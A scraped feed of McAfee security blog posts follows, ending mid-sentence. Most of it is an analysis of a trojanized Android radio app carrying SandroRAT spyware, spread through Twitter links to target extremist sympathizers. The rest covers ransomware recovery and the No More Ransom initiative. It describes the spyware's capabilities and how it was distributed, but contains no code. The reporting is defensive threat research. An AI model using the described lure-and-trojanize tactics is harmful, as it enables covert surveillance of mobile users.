Healthcare Under FireRecovery from ransomware is painful, expensive, and time consuming. If backups are available, then the best option is to remove the infected media and start fresh. Reusing infected drives is not recommended for any severe malware infection because it is nearly impossible to know if everything is safe. It is better for everyone, especially businesses, to start with a new drive, a fresh operating system, and restored uninfected data files. For consumers, this fresh start may not be reasonable due to cost or technical challenges, leaving them with cleaning and reusing the infected drive.

Many choose to move on without the encrypted files. They may not be that important, can be recreated, or the victims choose to suffer and learn from the experience. Paying the ransom is not recommended. Cooperating with extortionists is no guarantee of decrypted files. What is certain, however, is that victims who pay will be recognized as willing to pay, making them a preferred target in the future.

 Building Better Ransomware
Best practices to protect against ransomware
The following recommendations provide a good measure of protection against ransomware. However, as the threats constantly evolve, so must the defenses we present.

Ransomware Protections6

Ransomware attacks are a highly visible problem and a growing global threat to businesses, governments, and consumers. Security and technology vendors are working to undermine this new tactic by cybercriminals, but progress is difficult. Businesses and consumers should proactively take steps to minimize the risks and impacts. Those who don’t are likely to feel the sting of future ransomware attacks. 

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Taking Steps to Fight Back Against Ransomware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/taking-steps-to-fight-back-against-ransomware/feed/ 0
Trojanized Propaganda App Uses Twitter to Infect, Spy on Terrorist Sympathizers https://securingtomorrow.mcafee.com/mcafee-labs/trojanized-propaganda-app-uses-twitter-to-infect-spy-on-terrorist-sympathizers/ https://securingtomorrow.mcafee.com/mcafee-labs/trojanized-propaganda-app-uses-twitter-to-infect-spy-on-terrorist-sympathizers/#respond Tue, 26 Jul 2016 23:44:31 +0000 https://blogs.mcafee.com/?p=50291 The Mobile Malware Research Team of Intel Security has discovered in recent weeks a number of new threats in the Middle East. In May, we uncovered a spying campaign targeting cybersecurity professionals in Saudi Arabia. This week, the team exposed a strain of spyware targeting another specific group of mobile users: individuals with possible sympathies toward …

The post Trojanized Propaganda App Uses Twitter to Infect, Spy on Terrorist Sympathizers appeared first on McAfee Blogs.

]]>
The Mobile Malware Research Team of Intel Security has discovered in recent weeks a number of new threats in the Middle East. In May, we uncovered a spying campaign targeting cybersecurity professionals in Saudi Arabia. This week, the team exposed a strain of spyware targeting another specific group of mobile users: individuals with possible sympathies toward terrorist organizations.

The actors behind this spyware use mainstream social media and public web services to distribute their malicious code to these audiences. Several Twitter accounts have been posting a direct link guiding users to download a malicious Android application masquerading as the legitimate radio player Al Rayan Radio. Users are promised and provided radicalized propaganda, but are secretly made susceptible to cyber surveillance through their mobile devices.

McAfee Labs has observed such attempted smartphone infections targeting users in the Middle East, Europe, and even North America, illustrating the broad following of such groups across continents.

The spyware used by this new campaign is a well-known commercial Android remote access tool detected by McAfee Mobile Security as Android/SandroRAT.C!Gen.

In this incarnation of the threat, a URL-shortening service obscures the tweeted link, hiding both the source of the file users are downloading as well as the fact that they are downloading a suspicious APK file.

 

Twitter Account Farouk_113
Users @farouk_112 and @farouk_113 have been deactivated by Twitter.

Once the app is installed, the bogus radio player appears as the following icon:

icon-spyware

The radio player performs its function without any characteristics that might arouse suspicion from users. However, once installed, the malicious services always run in the background, even if the user ceases to open and operate the app on a regular basis.

main-spyware

As it operates undetected, the spyware allows the attacker to intercept the victims smartphone communications, and spy on them through the camera and microphone. The attacker may also access user location, network connectivity information, read/write call history, read/write SMS, and even access SD memory to download or upload files in it.

If the device is rooted, Android/SandroRat.C!Gen can implement functions to leak encrypted WhatsApp data and even bypass Android sandboxing using privileged commands.

SandroRat-Whatsapp

After examining the source of the malicious files, we found that the server used to store the malicious APK files were abusing the Weebly service with the accounts dawlatislambaqiya and goldenislamicstate, both of which have been suspended.

 

Script kiddies attacks

As in past mobile threat campaigns related to extremists in the Middle East, a common tactic used by malware authors is to rely on off-the-shelf packages or remote access tools to  “weaponize” legitimate apps. The key for the authors is to find the right application and lure victims by social engineering.

DroidJack-appbuild

At present, it is unclear who is behind the development and distribution of this spyware.

The actor could be associated with the terrorist group, perhaps intending to gather information on social media followers with the intention of monitoring, qualifying, and attempting to recruit them into their ranks.

The actor could be associated with an unknown government’s law enforcement or intelligence agencies. Such an entity might wish to monitor potential recruits subject to radicalization, but the use of a common, off-the-shelf spyware component for cyber surveillance probably suggests a less sophisticated state actor.

A third possibility is that the actor could be a rival extremist or vigilante group intending to gather intelligence on the terrorist group’s followers and potential recruits.

What we can conclude

In any case, the off-the-shelf nature of this new threat, using known components available on the Dark Web to anyone with a credit card, illustrates how easy it is for an individual or group, perhaps without strong programing skills, to craft and launch a spyware attack on a specific group of targets.

We can also confirm that such Trojanization efforts are very common. In 2013, the McAfee Mobile Security research team analyzed a Trojanized app that pretended to support online followers and supporters of a petition campaign advocating a woman’s right to drive an automobile. We can assume that any number of controversial movements (in their social and cultural context) might drive the development of similar bogus apps to follow communities deemed to be subversive.

Finally, the task of identifying these kinds of threats could remain very difficult for legitimate hosting and social media services, and such a threat could prove very successful if targeted users fail to install and update proper security protection in their devices. Such factors will always allow a high probability of success for attacks and campaigns, and a relatively fast lifecycle―from conception, to development, to execution, to end of life.

Please see the Intel Security whitepaper Cybercrime Exposed: Cybercrime-as-a-Service for an analysis by McAfee Labs of the Dark Web marketplace for buyers and sellers of hacking skills for hire.

The post Trojanized Propaganda App Uses Twitter to Infect, Spy on Terrorist Sympathizers appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/trojanized-propaganda-app-uses-twitter-to-infect-spy-on-terrorist-sympathizers/feed/ 0
No More Ransom: A New Initiative to Battle Ransomware https://securingtomorrow.mcafee.com/consumer/family-safety/no-more-ransom/ https://securingtomorrow.mcafee.com/consumer/family-safety/no-more-ransom/#comments Mon, 25 Jul 2016 23:31:30 +0000 https://blogs.mcafee.com/?p=51510 Ransomware has seen a huge increase over the past couple of years.  According to our June Quarterly Threats Report, there was a 113% increase in ransomware over the past year.  However, the real indicator for me has been an increase in questions about ransomware I get from people once they find out I work for …

The post No More Ransom: A New Initiative to Battle Ransomware appeared first on McAfee Blogs.

]]>
Ransomware has seen a huge increase over the past couple of years.  According to our June Quarterly Threats Report, there was a 113% increase in ransomware over the past year.  However, the real indicator for me has been an increase in questions about ransomware I get from people once they find out I work for Intel Security.  Working in the security industry, you hear these terms all the time, but when my doctor brings up ransomware I know it’s a big issue.

Ransomware is particularly damaging because it can e